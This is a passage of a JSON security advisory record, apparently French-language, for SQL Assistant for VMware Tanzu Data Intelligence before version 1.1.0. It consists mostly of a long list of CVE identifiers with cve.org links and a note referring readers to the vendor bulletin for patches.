"description": "SQL Assistant for VMware Tanzu Data Intelligence versions ant\u00e9rieures \u00e0 1.1.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
}
],
"affected_systems_content": "",
"content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
"cves": [
{
"name": "CVE-2025-6395",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6395"
},
{
"name": "CVE-2026-90828",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-90828"
},
{
"name": "CVE-2026-75595",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-75595"
},
{
"name": "CVE-2026-14671",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14671"
},
{
"name": "CVE-2026-14380",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14380"
},
{
"name": "CVE-2026-12061",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12061"
},
{
"name": "CVE-2026-53910",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53910"
},
{
"name": "CVE-2026-54293",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54293"
},
{
"name": "CVE-2025-8715",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8715"
},
{
"name": "CVE-2026-56404",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56404"
},
{
"name": "CVE-2026-58055",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58055"
},
{
"name": "CVE-2026-49978",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49978"
},
{
"name": "CVE-2025-66506",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66506"
},
{
"name": "CVE-2022-27943",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-27943"
},
{
"name": "CVE-2025-66865",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66865"
},
{
"name": "CVE-2026-32777",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32777"
},
{
"name": "CVE-2026-70007",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70007"
},
{
"name": "CVE-2026-93565",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93565"
},
{
"name": "CVE-2025-61730",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61730"
},
{
"name": "CVE-2026-54369",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54369"
},
{
"name": "CVE-2026-27135",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27135"
},
{
"name": "CVE-2026-47221",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47221"
},
{
"name": "CVE-2026-97206",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-97206"
},
{
"name": "CVE-2025-3264",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-3264"
},
{
"name": "CVE-2025-53547",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-53547"
},
{
"name": "CVE-2026-47204",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47204"
},
{
"name": "CVE-2026-42308",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42308"
},
{
"name": "CVE-2026-12252",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12252"
},
{
"name": "CVE-2026-100666",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-100666"
},
{
"name": "CVE-2025-31115",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-31115"
},
{
"name": "CVE-2025-58183",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58183"
},
{
"name": "CVE-2026-82417",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-82417"
},
{
"name": "CVE-2025-15282",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15282"
},
{
"name": "CVE-2018-1115",
"url": "https://www.cve.org/CVERecord?id=CVE-2018-1115"
},
{
"name": "CVE-2026-71890",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-71890"
},
{
"name": "CVE-2026-48776",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48776"
},
{
"name": "CVE-2026-93494",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93494"
},
{
"name": "CVE-2025-58190",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58190"
},
{
"name": "CVE-2026-33947",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33947"
},
{
"name": "CVE-2026-4878",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4878"
},
{
"name": "CVE-2026-11940",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11940"
},
{
"name": "CVE-2026-17106",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17106"
},
{
"name": "CVE-2026-27205",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27205"
},
{
"name": "CVE-2026-59205",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59205"
},
{
"name": "CVE-2026-33845",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33845"
},
{
"name": "CVE-2026-102598",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-102598"
},
{
"name": "CVE-2026-56288",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56288"
},
{
"name": "CVE-2026-34743",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34743"
},
{
"name": "CVE-2026-25087",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25087"
},
{
"name": "CVE-2026-56862",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56862"
},
{
"name": "CVE-2025-68973",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-68973"
},
{
"name": "CVE-2026-89092",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-89092"
},
{
"name": "CVE-2026-94265",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-94265"
},
{
"name": "CVE-2026-115455",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-115455"
},
{
"name": "CVE-2026-53613",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53613"
},
{
"name": "CVE-2026-53614",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53614"
},
{
"name": "CVE-2026-59995",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59995"
},
{
"name": "CVE-2026-44405",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44405"
},
{
"name": "CVE-2026-53877",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53877"
},
{
"name": "CVE-2026-50252",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50252"
},
{
"name": "CVE-2026-16239",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16239"
},
{
"name": "CVE-2026-97032",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-97032"
},
{
"name": "CVE-2026-42309",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42309"
},
{
"name": "CVE-2026-42507",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42507"
},
{
"name": "CVE-2026-33818",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33818"
},
{
"name": "CVE-2026-12075",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12075"
},
{
"name": "CVE-2026-77407",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77407"
},
{
"name": "CVE-2026-6474",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6474"
},
{
"name": "CVE-2026-42306",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42306"
},
{
"name": "CVE-2026-15742",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15742"
},
{
"name": "CVE-2025-10148",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-10148"
},
{
"name": "CVE-2026-39830",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39830"
},
{
"name": "CVE-2026-63384",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63384"
},
{
"name": "CVE-2025-25724",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-25724"
},
{
"name": "CVE-2026-6472",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6472"
},
{
"name": "CVE-2025-14087",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14087"
},
{
"name": "CVE-2026-6469",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6469"
},
{
"name": "CVE-2026-34180",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34180"
},
{
"name": "CVE-2026-68763",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-68763"
},
{
"name": "CVE-2026-5160",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5160"
},
{
"name": "CVE-2026-41637",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41637"
},
{
"name": "CVE-2026-86805",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86805"
},
{
"name": "CVE-2026-1669",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1669"
},
{
"name": "CVE-2026-96234",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96234"
},
{
"name": "CVE-2026-39956",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39956"
},
{
"name": "CVE-2026-71886",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-71886"
},
{
"name": "CVE-2026-45416",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45416"
},
{
"name": "CVE-2026-6846",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6846"
},
{
"name": "CVE-2025-69645",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69645"
},
{
"name": "CVE-2026-73228",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-73228"
},
{
"name": "CVE-2026-33186",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33186"
},
{
"name": "CVE-2025-7545",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-7545"
},
{
"name": "CVE-2026-39826",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39826"
},
{
"name": "CVE-2026-45404",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45404"
},
{
"name": "CVE-2026-104851",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-104851"
},
{
"name": "CVE-2026-44687",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44687"
},
{
"name": "CVE-2026-81723",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-81723"
},
{
"name": "CVE-2026-78660",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78660"
},
{
"name": "CVE-2026-18374",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18374"
},
{
"name": "CVE-2026-80489",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-80489"
},
{
"name": "CVE-2026-75806",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-75806"
},
{
"name": "CVE-2026-77696",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77696"
},
{
"name": "CVE-2026-19667",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19667"
},
{
"name": "CVE-2026-42766",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42766"
},
{
"name": "CVE-2026-96636",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96636"
},
{
"name": "CVE-2025-8556",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8556"
},
{
"name": "CVE-2026-12481",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12481"
},
{
"name": "CVE-2026-112392",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112392"
},
{
"name": "CVE-2026-13346",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-13346"
},
{
"name": "CVE-2026-59848",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59848"
},
{
"name": "CVE-2026-44740",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44740"
},
{
"name": "CVE-2026-53783",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53783"
},
{
"name": "CVE-2026-47692",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47692"
},
{
"name": "CVE-2026-9076",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9076"
},
{
"name": "CVE-2026-50560",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50560"
},
{
"name": "CVE-2026-73508",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-73508"
},
{
"name": "CVE-2026-95521",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-95521"
},
{
"name": "CVE-2025-22872",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22872"
},
{
"name": "CVE-2026-12482",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12482"
},
{
"name": "CVE-2026-15310",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15310"
},
{
"name": "CVE-2025-8277",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8277"
},
{
"name": "CVE-2025-8941",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8941"
},
{
"name": "CVE-2026-87863",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-87863"
},
{
"name": "CVE-2026-42508",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42508"
},
{
"name": "CVE-2026-84445",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-84445"
},
{
"name": "CVE-2021-3572",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-3572"
},
{
"name": "CVE-2025-66866",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66866"
},
{
"name": "CVE-2026-13608",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-13608"
},
{
"name": "CVE-2026-107161",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-107161"
},
{
"name": "CVE-2026-90830",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-90830"
},
{
"name": "CVE-2026-77791",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77791"
},
{
"name": "CVE-2026-114583",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-114583"
},
{
"name": "CVE-2026-63209",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63209"
},
{
"name": "CVE-2026-32286",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32286"
},
{
"name": "CVE-2025-32386",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-32386"
},
{
"name": "CVE-2026-6479",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6479"
},
{
"name": "CVE-2026-43894",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43894"
},
{
"name": "CVE-2025-11840",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11840"
},
{
"name": "CVE-2026-93578",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93578"
},
{
"name": "CVE-2024-52005",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-52005"
},
{
"name": "CVE-2026-39984",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39984"
},
{
"name": "CVE-2026-42496",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42496"
},
{
"name": "CVE-2023-54404",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-54404"
},
{
"name": "CVE-2026-59999",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59999"
},
{
"name": "CVE-2026-40468",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40468"
},
{
"name": "CVE-2026-1965",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1965"
},
{
"name": "CVE-2026-76183",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76183"
},
{
"name": "CVE-2026-40467",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40467"
},
{
"name": "CVE-2026-112944",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112944"
},
{
"name": "CVE-2026-54514",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54514"
},
{
"name": "CVE-2026-46718",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46718"
},
{
"name": "CVE-2026-34181",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34181"
},
{
"name": "CVE-2026-106450",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-106450"
},
{
"name": "CVE-2026-35189",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-35189"
},
{
"name": "CVE-2026-47207",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47207"
},
{
"name": "CVE-2026-97687",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-97687"
},
{
"name": "CVE-2026-32327",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32327"
},
{
"name": "CVE-2025-0913",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-0913"
},
{
"name": "CVE-2024-26147",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-26147"
},
{
"name": "CVE-2026-81870",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-81870"
},
{
"name": "CVE-2026-93568",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93568"
},
{
"name": "CVE-2026-55276",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55276"
},
{
"name": "CVE-2026-25990",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25990"
},
{
"name": "CVE-2026-58013",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58013"
},
{
"name": "CVE-2020-25694",
"url": "https://www.cve.org/CVERecord?id=CVE-2020-25694"
},
{
"name": "CVE-2026-32288",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32288"
},
{
"name": "CVE-2026-56416",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56416"
},
{
"name": "CVE-2026-41568",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41568"
},
{
"name": "CVE-2026-95210",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-95210"
},
{
"name": "CVE-2026-12345",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12345"
},
{
"name": "CVE-2026-97030",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-97030"
},
{
"name": "CVE-2025-46835",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-46835"
},
{
"name": "CVE-2026-96233",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96233"
},
{
"name": "CVE-2025-47907",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47907"
},
{
"name": "CVE-2025-1181",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1181"
},
{
"name": "CVE-2026-107928",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-107928"
},
{
"name": "CVE-2026-42497",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42497"
},
{
"name": "CVE-2022-41409",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41409"
},
{
"name": "CVE-2026-66007",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66007"
},
{
"name": "CVE-2025-12084",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12084"
},
{
"name": "CVE-2026-47892",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47892"
},
{
"name": "CVE-2026-59921",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59921"
},
{
"name": "CVE-2026-71514",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-71514"
},
{
"name": "CVE-2026-0897",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0897"
},
{
"name": "CVE-2026-91779",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-91779"
},
{
"name": "CVE-2026-42770",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42770"
},
{
"name": "CVE-2025-5197",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5197"
},
{
"name": "CVE-2026-26309",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-26309"
},
{
"name": "CVE-2026-54058",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54058"
},
{
"name": "CVE-2024-47611",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-47611"
},
{
"name": "CVE-2026-89156",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-89156"
},
{
"name": "CVE-2026-78682",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78682"
},
{
"name": "CVE-2025-45582",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-45582"
},
{
"name": "CVE-2026-91776",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-91776"
},
{
"name": "CVE-2025-46569",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-46569"
},
{
"name": "CVE-2026-27138",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27138"
},
{
"name": "CVE-2025-11468",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11468"
},
{
"name": "CVE-2026-86414",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86414"
},
{
"name": "CVE-2026-82208",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-82208"
},
{
"name": "CVE-2026-40355",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40355"
},
{
"name": "CVE-2026-12479",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12479"
},
{
"name": "CVE-2026-8926",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8926"
},
{
"name": "CVE-2026-95837",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-95837"
},
{
"name": "CVE-2026-93491",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93491"
},
{
"name": "CVE-2026-32284",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32284"
},
{
"name": "CVE-2026-96778",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96778"
},
{
"name": "CVE-2023-45288",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-45288"
},
{
"name": "CVE-2026-46675",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46675"
},
{
"name": "CVE-2026-45673",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45673"
},
{
"name": "CVE-2026-73282",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-73282"
},
{
"name": "CVE-2026-3446",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3446"
},
{
"name": "CVE-2026-32875",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32875"
},
{
"name": "CVE-2026-106452",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-106452"
},
{
"name": "CVE-2026-39822",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39822"
},
{
"name": "CVE-2026-111748",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-111748"
},
{
"name": "CVE-2026-112910",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112910"
},
{
"name": "CVE-2026-39833",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39833"
},
{
"name": "CVE-2026-112398",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112398"
},
{
"name": "CVE-2025-2149",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-2149"
},
{
"name": "CVE-2025-69419",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69419"
},
{
"name": "CVE-2025-6052",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6052"
},
{
"name": "CVE-2026-3783",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3783"
},
{
"name": "CVE-2026-66822",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66822"
},
{
"name": "CVE-2026-13221",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-13221"
},
{
"name": "CVE-2026-34502",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34502"
},
{
"name": "CVE-2026-33814",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33814"
},
{
"name": "CVE-2026-23831",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-23831"
},
{
"name": "CVE-2026-27456",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27456"
},
{
"name": "CVE-2026-96225",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96225"
},
{
"name": "CVE-2026-22701",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22701"
},
{
"name": "CVE-2026-33748",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33748"
},
{
"name": "CVE-2026-63074",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63074"
},
{
"name": "CVE-2026-88815",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-88815"
},
{
"name": "CVE-2026-111943",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-111943"
},
{
"name": "CVE-2026-68569",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-68569"
},
{
"name": "CVE-2025-2953",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-2953"
},
{
"name": "CVE-2026-8458",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8458"
},
{
"name": "CVE-2026-59084",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59084"
},
{
"name": "CVE-2026-14586",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14586"
},
{
"name": "CVE-2026-93493",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93493"
},
{
"name": "CVE-2025-58185",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58185"
},
{
"name": "CVE-2026-65183",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65183"
},
{
"name": "CVE-2026-85501",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-85501"
},
{
"name": "CVE-2025-3933",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-3933"
},
{
"name": "CVE-2025-49794",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-49794"
},
{
"name": "CVE-2024-57970",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-57970"
},
{
"name": "CVE-2026-77421",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77421"
},
{
"name": "CVE-2026-6429",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6429"
},
{
"name": "CVE-2026-5419",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5419"
},
{
"name": "CVE-2025-61731",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61731"
},
{
"name": "CVE-2026-4426",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4426"
},
{
"name": "CVE-2026-77756",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77756"
},
{
"name": "CVE-2026-45536",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45536"
},
{
"name": "CVE-2025-3000",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-3000"
},
{
"name": "CVE-2026-14739",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14739"
},
{
"name": "CVE-2023-36632",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36632"
},
{
"name": "CVE-2026-112061",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112061"
},
{
"name": "CVE-2026-93573",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93573"
},
{
"name": "CVE-2026-58015",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58015"
},
{
"name": "CVE-2026-39824",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39824"
},
{
"name": "CVE-2026-56131",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56131"
},
{
"name": "CVE-2026-88041",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-88041"
},
{
"name": "CVE-2025-66863",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66863"
},
{
"name": "CVE-2026-96405",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96405"
},
{
"name": "CVE-2026-96644",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96644"
},
{
"name": "CVE-2026-27137",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27137"
},
{
"name": "CVE-2026-27143",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27143"
},
{
"name": "CVE-2024-56171",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-56171"
},
{
"name": "CVE-2026-12484",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12484"
},
{
"name": "CVE-2026-85363",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-85363"
},
{
"name": "CVE-2026-8674",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8674"
},
{
"name": "CVE-2026-54911",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54911"
},
{
"name": "CVE-2026-85732",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-85732"
},
{
"name": "CVE-2026-46600",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46600"
},
{
"name": "CVE-2026-96637",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96637"
},
{
"name": "CVE-2026-112896",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112896"
},
{
"name": "CVE-2026-45445",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45445"
},
{
"name": "CVE-2026-29111",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-29111"
},
{
"name": "CVE-2026-112900",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112900"
},
{
"name": "CVE-2026-68525",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-68525"
},
{
"name": "CVE-2025-13837",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13837"
},
{
"name": "CVE-2026-70453",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70453"
},
{
"name": "CVE-2026-59901",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59901"
},
{
"name": "CVE-2026-47262",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47262"
},
{
"name": "CVE-2026-18508",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18508"
},
{
"name": "CVE-2026-18040",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18040"
},
{
"name": "CVE-2026-33747",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33747"
},
{
"name": "CVE-2025-71408",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-71408"
},
{
"name": "CVE-2025-15649",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15649"
},
{
"name": "CVE-2026-3731",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3731"
},
{
